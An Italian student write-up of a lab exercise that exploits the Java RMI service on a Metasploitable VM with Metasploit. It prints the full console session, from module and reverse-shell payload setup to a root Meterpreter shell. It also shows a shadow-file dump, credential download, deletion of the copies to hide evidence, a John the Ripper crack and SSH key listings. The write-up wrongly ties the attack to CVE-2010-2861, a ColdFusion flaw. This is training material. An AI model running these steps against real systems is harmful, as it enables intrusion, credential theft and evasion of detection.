

Traccia:

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI. Si richiede allo studente, ripercorrendo gli step visti nelle lezioni teoriche, di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: **192.168.11.111**
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: **192.168.11.112**
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota: 1) configurazione di rete; 2) informazioni sulla tabella di routing della macchina vittima 3) altro...

Progetto W16D4

Come primo passo procediamo a ricercare info circa la vulnerabilità segnalata e per farlo ci rechiamo sul sito del NIST.

CVE-2010-2861 Detail

MODIFIED

This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may result in further changes to the information provided.

Current Description

Multiple directory traversal vulnerabilities in the administrator console in Adobe ColdFusion 9.0.1 and earlier allow remote attackers to read arbitrary files via the locale parameter to (1) CFIDE/administrator/settings/mappings.cfm, (2) logging/settings.cfm, (3) datasources/index.cfm, (4) j2ee/packaging/editarchive.cfm, and (5) enter.cfm in CFIDE/administrator/.

[+View Analysis Description](#)

Severity

CVSS Version 3.x

CVSS Version 2.0

CVSS 2.0 Severity and Metrics:



NIST: NVD

Base Score: **7.5 HIGH**

Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P)

NVD Analysts use publicly available information to associate vector strings and CVSS scores. We also display any CVSS information provided within the CVE List from the CNA.

Note: NVD Analysts have published a CVSS score for this CVE based on publicly available information at the time of analysis. The CNA has not provided a score within the CVE List.

QUICK INFO

CVE Dictionary Entry:

CVE-2010-2861

NVD Published Date:

08/11/2010

NVD Last Modified:

09/23/2013

Source:

Adobe Systems Incorporated

CVE-2010-2861: Questo CVE si riferisce a una vulnerabilità di esecuzione di codice remoto (RCE) che può essere sfruttata da un aggressore per eseguire codice arbitrario sul sistema bersaglio.

Procediamo poi con l'avvio di metasploit da console

```
(kali@kali)-[~]
$ msfconsole

      .:ok000kdc'      'cdk000ko:.
      .x0000000000000c      c000000000000x.
      :00000000000000k,      ,k00000000000000:
      '000000000kkkk00000: :00000000000000000'
      o00000000.      .o0000o0000l.      ,00000000o
      d00000000.      .c00000c.      ,00000000x
      l00000000.      ;d;      ,00000000l
      ,00000000.      ;      ,00000000.
      c0000000.      .00c.      'o00.      ,0000000c
      o0000000.      .0000.      :0000.      ,0000000o
      l000000.      .0000.      :0000.      ,00000l
      ;0000'      .0000.      :0000.      ;0000;
      .d00o      .0000o0000x0000.      x00d.
      ,kol      .0000000000000.      .d0k,
      :kk;      .0000000000000.      c0k:
      ;k000000000000000k:
      ,x000000000000x,
      .l0000000l.
      ,dod,
      .
      + --=[ metasploit v6.3.27-dev ]
      + --=[ 2335 exploits - 1220 auxiliary - 413 post ]
      + --=[ 1385 payloads - 46 encoders - 11 nops ]
      + --=[ 9 evasion ]

Metasploit tip: Writing a custom module? After editing your
module, why not try the reload command
Metasploit Documentation: https://docs.metasploit.com/

msf6 > 
```

Effettuiamo una ricerca per identificare l'exploit adatto per la nostra vulnerabilità

```
msf6 > search java_rmi

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  auxiliary/gather/java_rmi_registry        2011-10-15      normal No     Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes    Java RMI Server Insecure Default Configuration Java Code Execution
2  auxiliary/scanner/misc/java_rmi_server    2011-10-15      normal No     Java RMI Server Insecure Endpoint Code Execution Scanner
3  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No     Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > 
```

Selezioneremo quello con il flag check attivo in modo da poter verificare se effettivamente il nostro target risulti vulnerabile alla problematica segnalata. Prima di fare ciò imposteremo il payload corretto e setteremo le varie options.

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show payloads

Compatible Payloads

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  payload/generic/custom                  normal No     Custom Payload
1  payload/generic/shell_bind_aws_ssm      normal No     Command Shell, Bind SSM (via AWS API)
2  payload/generic/shell_bind_tcp          normal No     Generic Command Shell, Bind TCP Inline
3  payload/generic/shell_reverse_tcp       normal No     Generic Command Shell, Reverse TCP Inline
4  payload/generic/ssh/interact            normal No     Interact with Established SSH Connection
5  payload/java/jsp_shell_bind_tcp         normal No     Java JSP Command Shell, Bind TCP Inline
6  payload/java/jsp_shell_reverse_tcp      normal No     Java JSP Command Shell, Reverse TCP Inline
7  payload/java/meterpreter/bind_tcp       normal No     Java Meterpreter, Java Bind TCP Stager
8  payload/java/meterpreter/reverse_http   normal No     Java Meterpreter, Java Reverse HTTP Stager
9  payload/java/meterpreter/reverse_https  normal No     Java Meterpreter, Java Reverse HTTPS Stager
10 payload/java/meterpreter/reverse_tcp    normal No     Java Meterpreter, Java Reverse TCP Stager
11 payload/java/shell/bind_tcp             normal No     Command Shell, Java Bind TCP Stager
12 payload/java/shell/reverse_tcp          normal No     Command Shell, Java Reverse TCP Stager
13 payload/java/shell_reverse_tcp          normal No     Java Command Shell, Reverse TCP Inline
14 payload/multi/meterpreter/reverse_http  normal No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
15 payload/multi/meterpreter/reverse_https normal No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
```

```
msf6 exploit(multi/misc/java_rmi_server) > set payload 10
payload => java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):


| Name      | Current Setting | Required | Description                                                                                                                           |
|-----------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                           |
| RHOSTS    |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html                                |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                 |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                          |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                      |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                   |



Payload options (java/meterpreter/reverse_tcp):


| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.1.100   | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:


| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |



View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.32.100
rhosts => 192.168.32.100
msf6 exploit(multi/misc/java_rmi_server) >
```

Lanciando il comando check avremo modo di verificare appunto se il target selezionato è vulnerabile

```
msf6 exploit(multi/misc/java_rmi_server) > check

[*] 192.168.32.100:1099 - Using auxiliary/scanner/misc/java_rmi_server as check
[+] 192.168.32.100:1099 - 192.168.32.100:1099 Java RMI Endpoint Detected: Class Loader Enabled
[*] 192.168.32.100:1099 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.32.100:1099 - The target is vulnerable.
msf6 exploit(multi/misc/java_rmi_server) >
```

Procediamo a lanciare il nostro attacco attraverso il comando exploit

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.32.100:1099 - Using URL: http://192.168.1.100:8080/6eMHvEKvwcR8P
[*] 192.168.32.100:1099 - Server started.
[*] 192.168.32.100:1099 - Sending RMI Header ...
[*] 192.168.32.100:1099 - Sending RMI Call ...
[*] 192.168.32.100:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.32.100
[*] Meterpreter session 2 opened (192.168.1.100:4444 -> 192.168.32.100:39897) at 2024-02-23 15:05:06 -0500
[-] 192.168.32.100:1099 - Exploit failed: RuntimeError Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request
[*] Exploit completed, but no session was created.
msf6 exploit(multi/misc/java_rmi_server) >
```

Essendoci stato un problema di timeout aumenteremo il tempo di attesa per la richiesta.

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):


| Name      | Current Setting | Required | Description                                                                                                                           |
|-----------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                           |
| RHOSTS    | 192.168.32.100  | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html                                |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                 |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                          |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                      |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                   |



Payload options (java/meterpreter/reverse_tcp):


| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.1.100   | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:


| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |



View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set httpdelay 20
httpdelay => 20
msf6 exploit(multi/misc/java_rmi_server) >
```

Lanciamo nuovamente il nostro attacco.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.1.100:4444
[-] 192.168.32.100:1099 - Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:8080).
[*] Exploit completed, but no session was created.
msf6 exploit(multi/misc/java_rmi_server) > set lport 4445
lport => 4445
msf6 exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.1.100:4445
[*] 192.168.32.100:1099 - Using URL: http://192.168.1.100:8080/qZYlq8zxyhtDwrl
[*] 192.168.32.100:1099 - Server started.
[*] 192.168.32.100:1099 - Sending RMI Header ...
[*] 192.168.32.100:1099 - Sending RMI Call ...
[*] 192.168.32.100:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.32.100
[*] Meterpreter session 3 opened (192.168.1.100:4445 -> 192.168.32.100:54899) at 2024-02-23 15:07:31 -0500

meterpreter > █
```

Siamo riusciti ad ottenere una sessione di meterpreter sulla macchina target, procediamo adesso a recuperare tutte le informazioni utili possibili circa il nostro target.

Procediamo per prima cosa a stabilire l'ambiente in cui ci troviamo lanciando il comando sysinfo

```
meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
meterpreter > █
```

Lanciamo adesso una shell per capire chi siamo e dove ci troviamo.

```
meterpreter > shell
Process 2 created.
Channel 2 created.
whoami
root
pwd
/
█
```


Avendo scoperto di essere root proviamo ad visualizzare il contenuto del file shadow che sappiamo contenere le informazioni relative alle password degli utenti. Questo file è accessibile solo al superutente (root) per motivi di sicurezza.

```
cat /etc/shadow
root:$1$avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$FUX6BPot$MiyC3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:7:::
man:*:14684:0:99999:7:::
lp:*:14684:0:99999:7:::
mail:*:14684:0:99999:7:::
news:*:14684:0:99999:7:::
uucp:*:14684:0:99999:7:::
proxy:*:14684:0:99999:7:::
www-data:*:14684:0:99999:7:::
backup:*:14684:0:99999:7:::
list:*:14684:0:99999:7:::
irc:*:14684:0:99999:7:::
gnats:*:14684:0:99999:7:::
nobody:*:14684:0:99999:7:::
libuuid:!:14684:0:99999:7:::
dhcp:*:14684:0:99999:7:::
syslog:*:14684:0:99999:7:::
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7:::
sshd:*:14684:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::
bind:*:14685:0:99999:7:::
postfix:*:14685:0:99999:7:::
ftp:*:14685:0:99999:7:::
postgres:$1$Rw35ik.x$MgQgZUu05pAoUvfJhfcYe/:14685:0:99999:7:::
mysql:!:14685:0:99999:7:::
tomcat55:*:14691:0:99999:7:::
distccd:*:14698:0:99999:7:::
user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7:::
service:$1$kR3ue7JZ$7GxELDupr50hp6cjZ3Bu//:14715:0:99999:7:::
telnetd:*:14715:0:99999:7:::
proftpd:!:14727:0:99999:7:::
statd:*:15474:0:99999:7:::
rsync:*:15750:0:99999:7:::
```

Dato che siamo riusciti ad effettuare questa operazione procediamo ad effettuare una copia del file.

```
cat /etc/shadow > shadow
ls -la
total 105
drwxr-xr-x 21 root root 4096 Feb 24 13:30 .
drwxr-xr-x 21 root root 4096 Feb 24 13:30 ..
drwxr-xr-x 2 root root 4096 May 13 2012 bin
drwxr-xr-x 4 root root 1024 May 13 2012 boot
lrwxrwxrwx 1 root root 11 Apr 28 2010 cdrom -> media/cdrom0
drwxr-xr-x 14 root root 13480 Feb 24 11:55 dev
drwxr-xr-x 94 root root 4096 Feb 24 11:56 etc
drwxr-xr-x 6 root root 4096 Apr 16 2010 home
drwxr-xr-x 2 root root 4096 Mar 16 2010 initrd
lrwxrwxrwx 1 root root 32 Apr 28 2010 initrd.img -> boot/initrd.img-2.6.24-16-server
drwxr-xr-x 13 root root 4096 May 13 2012 lib
drwx----- 2 root root 16384 Mar 16 2010 lost+found
drwxr-xr-x 4 root root 4096 Mar 16 2010 media
drwxr-xr-x 3 root root 4096 Apr 28 2010 mnt
-rw----- 1 root root 19520 Jan 28 09:52 nohup.out
drwxr-xr-x 2 root root 4096 Mar 16 2010 opt
dr-xr-xr-x 118 root root 0 Feb 24 11:55 proc
drwxr-xr-x 13 root root 4096 Feb 24 11:56 root
drwxr-xr-x 2 root root 4096 May 13 2012/sbin
-rw-r--r-- 1 root root 1232 Feb 24 13:30 shadow
drwxr-xr-x 2 root root 4096 Mar 16 2010 srv
drwxr-xr-x 12 root root 0 Feb 24 11:55 sys
drwxrwxrwt 4 root root 4096 Feb 24 12:04 tmp
drwxr-xr-x 12 root root 4096 Apr 28 2010 usr
drwxr-xr-x 14 root root 4096 Mar 17 2010 var
lrwxrwxrwx 1 root root 29 Apr 28 2010 vmlinuz -> boot/vmlinuz-2.6.24-16-server
```

Facciamo lo stesso con il file `passwd` che sappiamo contenere informazioni sugli utenti del sistema.

```
cat /etc/passwd > passwd
ls -l
total 97
drwxr-xr-x  2 root root  4096 May 13  2012 bin
drwxr-xr-x  4 root root 1024 May 13  2012 boot
lrwxrwxrwx  1 root root   11 Apr 28  2010 cdrom → media/cdrom
drwxr-xr-x 14 root root 13480 Feb 24 11:55 dev
drwxr-xr-x 94 root root  4096 Feb 24 11:56 etc
drwxr-xr-x  6 root root  4096 Apr 16  2010 home
drwxr-xr-x  2 root root  4096 Mar 16  2010 initrd
lrwxrwxrwx  1 root root   32 Apr 28  2010 initrd.img → boot/initrd.img-2.6.24-16-server
drwxr-xr-x 13 root root  4096 May 13  2012 lib
drwx----- 2 root root 16384 Mar 16  2010 lost+found
drwxr-xr-x  4 root root  4096 Mar 16  2010 media
drwxr-xr-x  3 root root  4096 Apr 28  2010 mnt
-rw-----  1 root root 19520 Jan 28 09:52 nohup.out
drwxr-xr-x  2 root root  4096 Mar 16  2010 opt
-rw-r--r--  1 root root  1617 Feb 24 13:22 passwd
dr-xr-xr-x 118 root root    0 Feb 24 11:55 proc
drwxr-xr-x 13 root root  4096 Feb 24 11:56 root
drwxr-xr-x  2 root root  4096 May 13  2012/sbin
drwxr-xr-x  2 root root  4096 Mar 16  2010 srv
drwxr-xr-x 12 root root    0 Feb 24 11:55 sys
drwxrwxrwt  4 root root  4096 Feb 24 12:04 tmp
drwxr-xr-x 12 root root  4096 Apr 28  2010 usr
drwxr-xr-x 14 root root  4096 Mar 17  2010 var
lrwxrwxrwx  1 root root   29 Apr 28  2010 vmlinuz → boot/vmlinuz-2.6.24-16-server
```

Chiudiamo la shell e procediamo al download delle copie dei due file appena generati.

```
meterpreter > download passwd
[*] Downloading: passwd → /home/kali/passwd
[*] Downloaded 1.58 KiB of 1.58 KiB (100.0%): passwd → /home/kali/passwd
[*] Completed : passwd → /home/kali/passwd
meterpreter > download shadow
[*] Downloading: shadow → /home/kali/shadow
[*] Downloaded 1.20 KiB of 1.20 KiB (100.0%): shadow → /home/kali/shadow
[*] Completed : shadow → /home/kali/shadow
meterpreter >
```

Riavviamo la shell, ed eliminiamo i file in modo da non lasciare prove.

```
meterpreter > shell
Process 4 created.
Channel 7 created.
rm passwd
rm shadow
ls -l
total 93
drwxr-xr-x  2 root root  4096 May 13  2012 bin
drwxr-xr-x  4 root root 1024 May 13  2012 boot
lrwxrwxrwx  1 root root   11 Apr 28  2010 cdrom → media/cdrom
drwxr-xr-x 14 root root 13480 Feb 24 11:55 dev
drwxr-xr-x 94 root root  4096 Feb 24 11:56 etc
drwxr-xr-x  6 root root  4096 Apr 16  2010 home
drwxr-xr-x  2 root root  4096 Mar 16  2010 initrd
lrwxrwxrwx  1 root root   32 Apr 28  2010 initrd.img → boot/initrd.img-2.6.24-16-server
drwxr-xr-x 13 root root  4096 May 13  2012 lib
drwx----- 2 root root 16384 Mar 16  2010 lost+found
drwxr-xr-x  4 root root  4096 Mar 16  2010 media
drwxr-xr-x  3 root root  4096 Apr 28  2010 mnt
-rw-----  1 root root 19520 Jan 28 09:52 nohup.out
drwxr-xr-x  2 root root  4096 Mar 16  2010 opt
dr-xr-xr-x 118 root root    0 Feb 24 11:55 proc
drwxr-xr-x 13 root root  4096 Feb 24 11:56 root
drwxr-xr-x  2 root root  4096 May 13  2012/sbin
drwxr-xr-x  2 root root  4096 Mar 16  2010 srv
drwxr-xr-x 12 root root    0 Feb 24 11:55 sys
drwxrwxrwt  4 root root  4096 Feb 24 12:04 tmp
drwxr-xr-x 12 root root  4096 Apr 28  2010 usr
drwxr-xr-x 14 root root  4096 Mar 17  2010 var
lrwxrwxrwx  1 root root   29 Apr 28  2010 vmlinuz → boot/vmlinuz-2.6.24-16-server
```

Sulla nostra macchina attaccante avviando un nuovo terminale e verifichiamo il corretto download dei due file.

```
(kali㉿kali)-[~]
$ ls -la
total 10876
drwx----- 26 kali kali 4096 Feb 24 13:36 .
drwxr-xr-x  4 root root 4096 Nov 23 15:20 ..
-rw-r--r--  1 kali kali 220 Aug 21 2023 .bash_logout
-rw-r--r--  1 kali kali 5551 Aug 21 2023 .bashrc
-rw-r--r--  1 kali kali 3526 Aug 21 2023 .bashrc.original
drwx-----  7 kali kali 4096 Jan 30 14:59 .BurpSuite
drwxr-xr-x 10 kali kali 4096 Jan 29 11:43 .cache
drwxr-xr-x  8 kali kali 4096 Jan 25 11:15 .cme
drwxr-xr-x 16 kali kali 4096 Dec 15 15:01 .config
drwxr-xr-x  2 kali kali 4096 Feb 20 14:45 Desktop
-rw-r--r--  1 kali kali 35 Oct 27 14:37 .dmrc
drwxr-xr-x  2 kali kali 4096 Oct 27 13:24 Documents
drwxr-xr-x  3 kali kali 4096 Dec  7 18:35 .dotnet
drwxr-xr-x  2 kali kali 4096 Jan 28 17:28 Downloads
-rw-r--r--  1 kali kali 11759 Aug 21 2023 .face
lrwxrwxrwx  1 kali kali 5 Aug 21 2023 .face.icon -> .face
-rw-r--r--  1 kali kali 1705 Jan 19 13:47 file.txt
-rwxr-xr-x  1 kali kali 224755 Dec 17 18:10 gameshell-save.sh
-rw-r--r--  1 kali kali 203144 Nov 30 14:02 gameshell.sh
drwx-----  3 kali kali 4096 Oct 27 13:24 .gnupg
-rw-----  1 kali kali 0 Oct 27 13:24 .ICEauthority
drwxr-xr-x  4 kali kali 4096 Dec 12 14:52 .java
drwx-----  2 kali kali 4096 Feb  6 14:20 .john
-rw-----  1 kali kali 20 Feb 21 12:41 .lessht
drwxr-xr-x  4 kali kali 4096 Oct 27 13:24 .local
drwxr-xr-x  3 kali kali 4096 Jan 19 13:37 .maltego
drwx-----  4 kali kali 4096 Nov 10 13:49 .mozilla
drwxr-xr-x 11 kali kali 4096 Feb 23 15:03 .msf4
drwxr-xr-x  2 kali kali 4096 Oct 27 13:24 Music
-rw-r--r--  1 kali kali 521 Jan 18 14:22 nessus
-rw-r--r--  1 kali kali 1617 Feb 24 13:31 passwd
drwxr-xr-x  2 kali kali 4096 Oct 27 13:24 Pictures
drwx-----  3 kali kali 4096 Dec  7 18:34 .pki
-rw-r--r--  1 kali kali 807 Aug 21 2023 .profile
drwxr-xr-x  2 kali kali 4096 Oct 27 13:24 Public
-rw-----  1 kali kali 53 Nov 30 14:19 .python_history
drwxr-xr-x  5 kali kali 4096 Jan 10 13:40 .recon-ng
-rw-r--r--  1 root root 819 Jan 16 13:49 scanMeta
-rw-r--r--  1 kali kali 1232 Feb 24 13:30 shadow
```

Per comodità elimineremo tutti i dati relativi agli altri utenti e effettueremo il crack della password per il solo utente root.

```
GNU nano 7.2
root:x:0:0:root:/root:/bin/bash
```

```
GNU nano 7.2
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
```


Unifichiamo i dati dei due file attraverso il comando unshadow e successivamente attraverso John The Ripper procederemo ad effettuare il crack della password sul file unificato, per farlo effettueremo un attacco a dizionario, utilizzando la wordlist rockyou.txt.

```
(kali㉿kali)-[~]  
$ unshadow passwd shadow > hashes.txt
```

```
(kali㉿kali)-[~]  
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt hashes.txt  
Using default input encoding: UTF-8  
Loaded 1 password hash (crypt, generic crypt(3) [?/64])  
Cost 1 (algorithm [1:decrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 2 for all loaded hashes  
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes  
Will run 2 OpenMP threads  
Press 'q' or Ctrl-C to abort, almost any other key for status  
0g 0:00:14:24 DONE (2024-02-25 12:19) 0g/s 16597p/s 16597c/s 16597C/s JOSE ..*7jVamos!  
Session completed.
```

Successivamente verifichiamo le password e gli host autorizzati alle comunicazioni ssh e sfrutteremo quanto visto in precedenza per fare copie dei file e download di quest'ultimi. Per verificare quanto detto precedentemente ci rechiamo nella directory .ssh

```
cd ~/.ssh  
ls -l  
total 8  
-rw-r--r-- 1 root root 405 May 17 2010 authorized_keys  
-rw-r--r-- 1 root root 442 May 20 2012 known_hosts  
cat authorized_keys  
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNL0iBMNALQx7M6sGG0i4KNmJ6PVxpbpG70lShHQldJkcteZZdPF5Bw76IU1PR00h+WBV0x1c61PL/0zUYFHyFKAzie6/SteoweG1jr2qOfdomVhvXXvSjGa  
SFwvOYB8R0QxsOWMTQTYSeBa66X6e777GvkHCDLYgZSo8WwR5JXln/Tw7KotowHr8FEGvWzW1krU3Zo9Bzp0e0ac2U+qUGiZiU/WwgztLzS5/D9IyhtRWocYQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGukxdFo9finu2  
OwkjOc+Wv8Vw7bWkf+IRgiOMg1J5Cs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable
```

```
cat known_hosts  
|1|g57DWZAsRvtufzEYnaW4GOvYub=5afWvF6s4R5Yaog@mimuOyNfXlI= ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAstqnuFMB0Zv03WTEjP4TudjgWkiVNdTq6kboEDjteOfc65TLI7sRvQBwqAhQJeeyyI  
kBT5SgMDK0D0ak5LSXVLDcncdyfXeIF0ZSuT+nkRh1j7XSSA/Oc5Q5k3sJ/SInf78e3anBRHpmKJcVgETJ5WhKobUnfIAKZW++4Xlc63MAKI5cJvMMIPEVOyR3AKmI78Fo3HjYucg87JjLeC6617+d1EYX6zT811X  
Yua/L1v23q5JIS0Vus8KRPIkV/cNsVki4j+qDYyZ2E3497W87+Ed46/8P42LNGo0V80ck/ro6pAcBEPUDUEFKJrj12YXbhvw1J0gFMbWf5cNqew==
```

Infine attraverso il file ssh_config possiamo verificare le varie impostazioni, tra cui anche gli algoritmi abilitati.

```
cat /etc/ssh/ssh_config  
  
# This is the ssh client system-wide configuration file. See  
# ssh_config(5) for more information. This file provides defaults for  
# users, and the values can be changed in per-user configuration files  
# or on the command line.  
  
# Configuration data is parsed as follows:  
# 1. command line options  
# 2. user-specific file  
# 3. system-wide file  
# Any configuration value is only changed the first time it is set.  
# Thus, host-specific definitions should be at the beginning of the  
# configuration file, and defaults at the end.  
  
# Site-wide defaults for some commonly used options. For a comprehensive  
# list of available options, their meanings and defaults, please see the  
# ssh_config(5) man page.  
  
Host *  
# ForwardAgent no  
# ForwardX11 no  
# ForwardX11Trusted yes  
# RhostsRSAAuthentication no  
# RSAAuthentication yes  
# PasswordAuthentication yes  
# HostbasedAuthentication no  
# GSSAPIAuthentication no  
# GSSAPIDelegateCredentials no  
# GSSAPIKeyExchange no  
# GSSAPITrustDNS no  
# BatchMode no  
# CheckHostIP yes  
# AddressFamily any  
# ConnectTimeout 0  
# StrictHostKeyChecking ask  
# IdentityFile ~/.ssh/identity  
# IdentityFile ~/.ssh/id_rsa  
# IdentityFile ~/.ssh/id_dsa  
# Port 22  
# Protocol 2,1  
# Cipher 3des  
# Ciphers aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc  
# MACs hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160  
# EscapeChar ~
```


Per verificare tutti i servizi installati sulla macchina verifichiamo la lista di tutti i file presenti nella folder init.d

```
ls -l /etc/init.d
total 368
-rw-r--r-- 1 root root 1335 Apr 19 2008 README
-rwxr-xr-x 1 root root 5736 Feb 1 2008 apache2
-rwxr-xr-x 1 root root 2653 Apr 7 2008 apparmor
-rwxr-xr-x 1 root root 969 Feb 20 2007 atd
-rwxr-xr-x 1 root root 2426 Apr 9 2008 bind9
-rwxr-xr-x 1 root root 3597 Apr 19 2008 bootclean
-rwxr-xr-x 1 root root 2121 Apr 19 2008 bootlogd
-rwxr-xr-x 1 root root 1768 Apr 19 2008 bootmisc.sh
-rwxr-xr-x 1 root root 3454 Apr 19 2008 checkfs.sh
-rwxr-xr-x 1 root root 10602 Apr 19 2008 checkroot.sh
-rwxr-xr-x 1 root root 6355 May 30 2007 console-screen.sh
-rwxr-xr-x 1 root root 1634 Jan 28 2008 console-setup
-rwxr-xr-x 1 root root 1761 Apr 8 2008 cron
-rwxr-xr-x 1 root root 429 May 14 2012 distcc
-rwxr-xr-x 1 root root 1223 Jun 22 2007 dns-clean
-rwxr-xr-x 1 root root 7195 Apr 4 2008 glibc.sh
-rwxr-xr-x 1 root root 1228 Apr 19 2008 halt
-rwxr-xr-x 1 root root 909 Apr 19 2008 hostname.sh
-rwxr-xr-x 1 root root 4521 Apr 14 2008 hwclock.sh
-rwxr-xr-x 1 root root 4528 Apr 14 2008 hwclockfirst.sh
-rwxr-xr-x 1 root root 1376 Jan 28 2008 keyboard-setup
-rwxr-xr-x 1 root root 944 Apr 19 2008 killprocs
-rwxr-xr-x 1 root root 1729 Nov 23 2007 klogd
-rwxr-xr-x 1 root root 748 Jan 23 2006 loopback
-rwxr-xr-x 1 root root 1399 Feb 25 2008 module-init-tools
-rwxr-xr-x 1 root root 596 Apr 19 2008 mountall-bootclean.sh
-rwxr-xr-x 1 root root 2430 Apr 19 2008 mountall.sh
-rwxr-xr-x 1 root root 1465 Apr 19 2008 mountdevsubfs.sh
-rwxr-xr-x 1 root root 1544 Apr 19 2008 mountkernfs.sh
-rwxr-xr-x 1 root root 594 Apr 19 2008 mountnfs-bootclean.sh
-rwxr-xr-x 1 root root 1244 Apr 19 2008 mountoverflowtmp
-rwxr-xr-x 1 root root 3123 Apr 19 2008 mtab.sh
-rwxr-xr-x 1 root root 5755 Mar 27 2008 mysql
-rwxr-xr-x 1 root root 2515 Mar 27 2008 mysql-ndb
-rwxr-xr-x 1 root root 1905 Mar 27 2008 mysql-ndb-mgm
-rwxr-xr-x 1 root root 1772 Dec 3 2007 networking
-rwxr-xr-x 1 root root 5942 Dec 2 2008 nfs-common
-rwxr-xr-x 1 root root 4411 Dec 2 2008 nfs-kernel-server
-rwxr-xr-x 1 root root 1573 Dec 4 2009 ntp
-rwxr-xr-x 1 root root 2324 Apr 27 2007 openbsd-inetd
-rwxr-xr-x 1 root root 2377 Oct 23 2007 pcmciautils
-rwxr-xr-x 1 root root 1872 Dec 3 2007 portmap
-rwxr-xr-x 1 root root 4202 Apr 18 2008 postfix
```

Come ultima operazione facciamo un check su tutti i processi attivi attualmente sulla macchina.

```
ps aux
USER      PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0  2844  1696 ?        Ss   11:42   0:01 /sbin/init
